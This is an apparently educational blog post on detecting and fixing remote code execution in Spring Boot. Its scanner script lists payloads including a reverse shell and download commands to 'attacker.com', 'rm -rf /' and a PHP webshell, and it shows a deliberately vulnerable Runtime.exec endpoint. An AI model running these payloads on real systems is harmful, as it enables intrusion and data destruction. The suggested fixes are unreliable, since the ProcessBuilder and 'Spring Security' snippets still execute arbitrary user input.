Ways to detect & mitigate RCE in Java Springboot services

Introduction

Remote Code Execution (RCE) is a critical security vulnerability that allows attackers to execute arbitrary code on a target system or application. RCE vulnerabilities can have severe consequences, including unauthorized access, data breaches, and complete compromise of the affected system. In this post, we will explore methods for detecting and fixing RCE vulnerabilities and provide examples of scripts that can automate the identification of RCE cases.

Understanding RCE

Remote Code Execution occurs when an attacker is able to execute arbitrary code on a target system or application. This vulnerability typically arises due to insecure input handling or improper validation of user-supplied data. Attackers exploit RCE vulnerabilities to inject and execute malicious code, which can lead to the execution of arbitrary commands, unauthorized access, and control over the target system.

Impact of RCE

The impact of an RCE vulnerability can be devastating:

1. Unauthorized access: Attackers can gain unauthorized access to the target system or application, allowing them to perform actions with administrative privileges.
2. Data breaches: RCE can enable attackers to extract sensitive data, such as user credentials, personal information, or confidential business data.
3. Complete system compromise: With RCE, attackers can execute arbitrary commands or upload malicious files, potentially leading to full control over the target system or application.

Detecting RCE Vulnerabilities

Detecting RCE vulnerabilities requires a combination of manual analysis and automated scanning. Here are some methods and tools to help you identify potential RCE cases:

1. Manual code review: Review the source code of your application to identify areas where user input is processed or executed. Look for insecure input handling, such as the use of eval(), exec(), or other dangerous functions that can execute arbitrary code.
2. Static analysis tools: Utilize static code analysis tools like SonarQube, FindBugs, or ESLint to scan your codebase for potential RCE vulnerabilities. These tools can identify insecure coding patterns or known RCE-related functions.
3. Dynamic analysis tools: Use dynamic analysis tools like Burp Suite, OWASP ZAP, or Nessus to perform automated security scans and identify vulnerabilities, including potential RCE cases. These tools simulate attacks and analyze application responses for signs of RCE vulnerabilities.
4. Fuzzing: Employ fuzzing techniques to generate a wide range of inputs and test the application’s behavior. Monitor for unexpected errors, crashes, or abnormal responses, which might indicate the presence of an RCE vulnerability.
5. Penetration testing: Conduct regular penetration tests by ethical hackers to simulate real-world attacks and identify potential RCE vulnerabilities. Professional penetration testers can employ various techniques to exploit and verify the presence of RCE vulnerabilities.

Example Script for Automated RCE Detection

Here’s an example Python script that utilizes the requests library to automate the detection of potential RCE vulnerabilities in a target web application:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

target_url = "http://example.com/vulnerable_endpoint"
payloads = [
    ";ls",
    "|cat /etc/passwd",
    "$(uname -a)",
    ";id",
    "|whoami",
    "$(echo 'Hello, RCE!')",
    "`echo 'Hello, RCE!'`",
    "$(curl http://attacker.com/malicious_script.sh)",
    "|wget http://attacker.com/malicious_file",
    "$(nc -e /bin/bash attacker.com 4444)",
    ";phpinfo()",
    "|phpinfo()",
    "<svg/onload=alert('RCE')>",
    "<img src=x onerror=alert('RCE')>",
    "${7*7}",
    "#{7*7}",
    "';system('id');echo '",
    "`system('id')`",
    "$(php -r 'echo \"Hello, RCE!\";')",
    "<?php echo shell_exec($_GET['cmd']); ?>",
    "$(rm -rf /)",
    "|rm -rf /",
    "$(cat /etc/passwd)",
    "|cat /etc/passwd",
    "$(ping -c 1 attacker.com)",
    "|curl -X POST http://attacker.com/evil_endpoint",
]

for payload in payloads:
    response = requests.get(target_url + payload)
    if "Command not found" not in response.text:
        print("Potential RCE detected with payload:", payload)

In this script, we provide a list of payloads that can be appended to the target URL. We then send requests with each payload and check the response for indications of command execution. If the response doesn’t contain the “Command not found” message, it suggests a potential RCE vulnerability.

Please note that this script is for demonstration purposes only and should be used responsibly on systems you have proper authorization to test.

Vulnerable Code Example in Java Spring Boot

Let’s consider a vulnerable code example in a Java Spring Boot application and explore multiple ways to fix and block RCE attempts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@RestController
@RequestMapping("/vulnerable")
public class VulnerableController {

    @GetMapping("/exec")
    public String executeCommand(@RequestParam("command") String command) {
        try {
            Runtime runtime = Runtime.getRuntime();
            Process process = runtime.exec(command);
            InputStream inputStream = process.getInputStream();
            BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
            StringBuilder result = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                result.append(line).append("\n");
            }
            return result.toString();
        } catch (IOException e) {
            return "Error executing command: " + e.getMessage();
        }
    }
}

In this code, the executeCommand endpoint takes a user-supplied command parameter and executes it using the Runtime.exec() method. This implementation is vulnerable to RCE attacks as it allows arbitrary commands to be executed.

Fixing and Blocking RCE Attempts

• To fix and block RCE attempts, we can implement multiple layers of defense. Here are some approaches:

• Input validation and sanitization: Validate and sanitize the user-supplied command parameter to prevent the execution of arbitrary commands. Ensure that only allowed characters and commands are accepted.

1
2
3
4
5
6
7
8
9
10
11
@GetMapping("/exec")
public String executeCommand(@RequestParam("command") String command) {
    if (!isValidCommand(command)) {
        return "Invalid command";
    }
    // ... rest of the code
}

private boolean isValidCommand(String command) {
    // Implement input validation logic to restrict allowed characters and commands
}

• Whitelisting allowed commands: Maintain a whitelist of allowed commands and validate the user-supplied command parameter against this whitelist.

1
2
3
4
5
6
7
8
9
10
11
@GetMapping("/exec")
public String executeCommand(@RequestParam("command") String command) {
    if (!isAllowedCommand(command)) {
        return "Command not allowed";
    }
    // ... rest of the code
}

private boolean isAllowedCommand(String command) {
    // Implement logic to check if the command is in the allowed commands list
}

• Avoid using Runtime.exec(): Refactor the code to use safer alternatives like ProcessBuilder or Process API provided by Java. These alternatives provide more control and security features to prevent command injection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@GetMapping("/exec")
public String executeCommand(@RequestParam("command") String command) {
    try {
        ProcessBuilder processBuilder = new ProcessBuilder();
        processBuilder.command(command.split(" ")); // Split command into arguments
        Process process = processBuilder.start();
        InputStream inputStream = process.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
        StringBuilder result = new StringBuilder();
        String line;
        while ((line = reader.readLine()) != null) {
            result.append(line).append("\n");
        }
        return result.toString();
    } catch (IOException e) {
        return "Error executing command: " + e.getMessage();
    }
}

• Use security frameworks: Leverage security frameworks like Spring Security to enforce authorization and access controls. Restrict the execution of the executeCommand endpoint to only authorized users or roles.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@GetMapping("/exec")
public String executeCommand(@RequestParam("command") String command) {
    try {
        ProcessBuilder processBuilder = new ProcessBuilder();
        processBuilder.command(command.split(" ")); // Split command into arguments
        Process process = processBuilder.start();
        InputStream inputStream = process.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
        StringBuilder result = new StringBuilder();
        String line;
        while ((line = reader.readLine()) != null) {
            result.append(line).append("\n");
        }
        return result.toString();
    } catch (IOException e) {
        return "Error executing command: " + e.getMessage();
    }
}

• Use security frameworks: Leverage security frameworks like Spring Security to enforce authorization and access controls. Restrict the execution of the executeCommand endpoint to only authorized users or roles.
• Regular security updates: Keep your Java dependencies, frameworks, and libraries up to date to ensure you have the latest security patches and protections against known RCE vulnerabilities.

It’s important to note that the mentioned fixes should be adapted based on your specific application requirements and security context.

Conclusion

Remote Code Execution (RCE) vulnerabilities pose a significant threat to the security of systems and applications. By understanding RCE, utilizing detection techniques, and implementing proper mitigation strategies, you can protect your applications from unauthorized code execution and potential compromise. Remember to regularly review and update your code, utilize security tools and practices, and stay informed about the latest security vulnerabilities and best practices.